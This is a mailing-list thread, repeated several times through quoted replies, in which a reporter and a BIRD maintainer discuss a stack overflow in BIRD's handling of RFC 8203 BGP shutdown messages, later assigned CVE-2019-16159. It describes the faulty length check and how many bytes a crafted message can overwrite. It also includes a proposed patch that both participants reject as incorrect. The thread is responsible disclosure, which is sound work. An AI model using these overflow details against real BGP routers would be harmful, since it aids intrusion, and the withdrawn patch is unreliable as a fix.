First, if `msg_len + 1` is > `len` but <= 255 then the defensive expression will short-circuit as false and execution continues. This results in the `proto_set_message` buffer being sized equal to `msg_len` but only filed with `len` bytes (which may be 0) of provided message data. The unaccounted for message bytes will contain uninitialized memory contents that will be written to the log as part of the RFC 8203 shutdown communication.
Yes, seems like switched && for ||.
Second, and more crucially, the `msg_len > 255` calculation fails to account for the 4 extra bytes that will be written by the `bsprintf` formatting expression. E.g. there will be three bytes that precede the `msg_len` message bytes (`: "`) and one byte that follows them (`"`).
Note that the purpose of this check was not a check for buffer size, but a check for validity of input message (max 128 B according to RFC 8203). It is unnecessary with draft-rfc8203bis, as all possible lengths are permitted.
- /* Handle proper message */ - if ((msg_len > 255) && (msg_len + 1 > len)) + /* Handle only messages with a length that does not require reading past the + * end of the received data. */ + if (msg_len < (len - 1)) return 0;
This seems incorrect: msg_len is the nominal message length, while len is remaining length of the packet, so the check for nominal message not fitting into the packet would be: if (msg_len + 1 > len) return 0; For the stack buffer, the proper fix seems to be just enlarge it to fit max-size message.
In practice I find the stack overflow does not impact the availability of the BIRD instance when built with normal settings. I confirmed the overflow two ways: with `gdb` and by building BIRD with `-fsanitize=address`.
These bytes match to `!!"\0`, showing the two attacker controlled bytes and the two bytes unconditionally written.
The stack overflow seems limited, i would like to check what exactly is overwritten when built with normal settings. Once more, thanks for bugreport and the detailed writeup. -- Elen sila lumenn' omentielvo Ondrej 'Santiago' Zajicek (email: santiago@crfreenet.org) OpenPGP encrypted e-mails preferred (KeyID 0x11DEADC3, wwwkeys.pgp.net) "To err is human -- to blame it on a computer is even more so."
Hi Ondrej, Thanks for the quick response.
Unfortunately it has been included in released versions 1.6.7 and 2.0.5.
Bummer, apologies for missing that. Do you want to request a CVE or should I?
It is unnecessary with draft-rfc8203bis, as all possible lengths are permitted.
That makes sense. In retrospect my patch will clearly reject messages that have a permitted length and isn't a suitable fix.
For the stack buffer, the proper fix seems to be just enlarge it to fit max-size message
That makes sense and I agree makes a better fix. Thanks for your patience/explanation.
The stack overflow seems limited, i would like to check what exactly is overwritten when built with normal settings.
Agreed. I spent a little bit of time thinking about exploitation conditions given the limited control and while I wasn't able to come up with anything practical myself on x86_64 there is evidence[0] of similarly limited vulnerabilities producing RCE when those skilled in that particular dark art dedicate their attention to the matter. [0]: https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-ed... On Sun, Sep 8, 2019 at 5:12 PM Ondrej Zajicek <santiago@crfreenet.org> wrote:
On Sun, Sep 08, 2019 at 01:59:03PM -0400, Daniel McCarney wrote:
Hi there,
I believe a stack overflow was introduced in the BGP protocol support of BIRD in 7ff34ca2[1] that allows a BGP peer to corrupt stack memory via crafted RFC 8203[0] BGP administrative shutdown communication message.
Hi
Yes, you are right, thanks for detailed writeup.
Leading with the best news, it looks like 7ff34ca2 hasn't been included in a release yet :-)
Unfortunately it has been included in released versions 1.6.7 and 2.0.5.
First, if `msg_len + 1` is > `len` but <= 255 then the defensive expression will short-circuit as false and execution continues. This results in the `proto_set_message` buffer being sized equal to `msg_len` but only filed with `len` bytes (which may be 0) of provided message data. The unaccounted for message bytes will contain uninitialized memory contents that will be written to the log as part of the RFC 8203 shutdown communication.
Yes, seems like switched && for ||.
Second, and more crucially, the `msg_len > 255` calculation fails to account for the 4 extra bytes that will be written by the `bsprintf` formatting expression. E.g. there will be three bytes that precede the `msg_len` message bytes (`: "`) and one byte that follows them (`"`).
Note that the purpose of this check was not a check for buffer size, but a check for validity of input message (max 128 B according to RFC 8203). It is unnecessary with draft-rfc8203bis, as all possible lengths are permitted.
- /* Handle proper message */ - if ((msg_len > 255) && (msg_len + 1 > len)) + /* Handle only messages with a length that does not require reading past the + * end of the received data. */ + if (msg_len < (len - 1)) return 0;
This seems incorrect: msg_len is the nominal message length, while len is remaining length of the packet, so the check for nominal message not fitting into the packet would be:
if (msg_len + 1 > len) return 0;
For the stack buffer, the proper fix seems to be just enlarge it to fit max-size message.
In practice I find the stack overflow does not impact the availability of the BIRD instance when built with normal settings. I confirmed the overflow two ways: with `gdb` and by building BIRD with `-fsanitize=address`.
These bytes match to `!!"\0`, showing the two attacker controlled bytes and the two bytes unconditionally written.
The stack overflow seems limited, i would like to check what exactly is overwritten when built with normal settings.
Once more, thanks for bugreport and the detailed writeup.
-- Elen sila lumenn' omentielvo
Ondrej 'Santiago' Zajicek (email: santiago@crfreenet.org) OpenPGP encrypted e-mails preferred (KeyID 0x11DEADC3, wwwkeys.pgp.net) "To err is human -- to blame it on a computer is even more so."
On Sun, Sep 08, 2019 at 05:54:35PM -0400, Daniel McCarney wrote:
Hi Ondrej,
Thanks for the quick response.
Unfortunately it has been included in released versions 1.6.7 and 2.0.5.
Bummer, apologies for missing that. Do you want to request a CVE or should I?
If you could, i would be glad.
While I believe 7ff34ca2 introduced the ability to overflow a stack buffer it seems to me the original RFC 8203 support hasn't been correctly verifying shutdown communication `msg_len` since support was added in BIRD 2 versions >= 2.0.0 and BIRD 1 versions >= 1.6.4. Details to follow.
I think that the incorrect check in the original code also allows this stack overflow, as a properly packed 255B message would trigger the first condition but not the second, so would be accepted. Therefore, the stack overflow could happen on BIRD 1 versions >= 1.6.4 and BIRD 2 versions >= 2.0.0. The bugfix patches are: 1657c41c96b3c07d9265b07dd4912033ead4124b (1.6.x) 8388f5a7e14108a1458fea35bfbb5a453e2c563c (2.0.x) -- Elen sila lumenn' omentielvo Ondrej 'Santiago' Zajicek (email: santiago@crfreenet.org) OpenPGP encrypted e-mails preferred (KeyID 0x11DEADC3, wwwkeys.pgp.net) "To err is human -- to blame it on a computer is even more so."
If you could, i would be glad.
Done. I'll update this thread when MITRE replies. Thanks again Ondrej, On Sun, Sep 8, 2019 at 9:56 PM Ondrej Zajicek <santiago@crfreenet.org> wrote:
On Sun, Sep 08, 2019 at 05:54:35PM -0400, Daniel McCarney wrote:
Hi Ondrej,
Thanks for the quick response.
Unfortunately it has been included in released versions 1.6.7 and 2.0.5.
Bummer, apologies for missing that. Do you want to request a CVE or should I?
If you could, i would be glad.
While I believe 7ff34ca2 introduced the ability to overflow a stack buffer it seems to me the original RFC 8203 support hasn't been correctly verifying shutdown communication `msg_len` since support was added in BIRD 2 versions >= 2.0.0 and BIRD 1 versions >= 1.6.4. Details to follow.
I think that the incorrect check in the original code also allows this stack overflow, as a properly packed 255B message would trigger the first condition but not the second, so would be accepted.
Therefore, the stack overflow could happen on BIRD 1 versions >= 1.6.4 and BIRD 2 versions >= 2.0.0.
The bugfix patches are: 1657c41c96b3c07d9265b07dd4912033ead4124b (1.6.x) 8388f5a7e14108a1458fea35bfbb5a453e2c563c (2.0.x)
-- Elen sila lumenn' omentielvo
Ondrej 'Santiago' Zajicek (email: santiago@crfreenet.org) OpenPGP encrypted e-mails preferred (KeyID 0x11DEADC3, wwwkeys.pgp.net) "To err is human -- to blame it on a computer is even more so."
Done. I'll update this thread when MITRE replies.
Assigned CVE-2019-16159 On Mon, Sep 9, 2019 at 10:07 AM Daniel McCarney <cpu@letsencrypt.org> wrote:
If you could, i would be glad.
Done. I'll update this thread when MITRE replies.
Thanks again Ondrej,
On Sun, Sep 8, 2019 at 9:56 PM Ondrej Zajicek <santiago@crfreenet.org> wrote:
On Sun, Sep 08, 2019 at 05:54:35PM -0400, Daniel McCarney wrote:
Hi Ondrej,
Thanks for the quick response.
Unfortunately it has been included in released versions 1.6.7 and 2.0.5.
Bummer, apologies for missing that. Do you want to request a CVE or should I?
If you could, i would be glad.
While I believe 7ff34ca2 introduced the ability to overflow a stack buffer it seems to me the original RFC 8203 support hasn't been correctly verifying shutdown communication `msg_len` since support was added in BIRD 2 versions >= 2.0.0 and BIRD 1 versions >= 1.6.4. Details to follow.
I think that the incorrect check in the original code also allows this stack overflow, as a properly packed 255B message would trigger the first condition but not the second, so would be accepted.
Therefore, the stack overflow could happen on BIRD 1 versions >= 1.6.4 and BIRD 2 versions >= 2.0.0.
The bugfix patches are: 1657c41c96b3c07d9265b07dd4912033ead4124b (1.6.x) 8388f5a7e14108a1458fea35bfbb5a453e2c563c (2.0.x)
-- Elen sila lumenn' omentielvo
Ondrej 'Santiago' Zajicek (email: santiago@crfreenet.org) OpenPGP encrypted e-mails preferred (KeyID 0x11DEADC3, wwwkeys.pgp.net) "To err is human -- to blame it on a computer is even more so."
On Mon, Sep 09, 2019 at 10:42:06AM -0400, Daniel McCarney wrote:
Done. I'll update this thread when MITRE replies.
Assigned CVE-2019-16159
Thanks, we will release fixed versions soon. -- Elen sila lumenn' omentielvo Ondrej 'Santiago' Zajicek (email: santiago@crfreenet.org) OpenPGP encrypted e-mails preferred (KeyID 0x11DEADC3, wwwkeys.pgp.net) "To err is human -- to blame it on a computer is even more so."
participants (2)
-
Daniel McCarney -
Ondrej Zajicek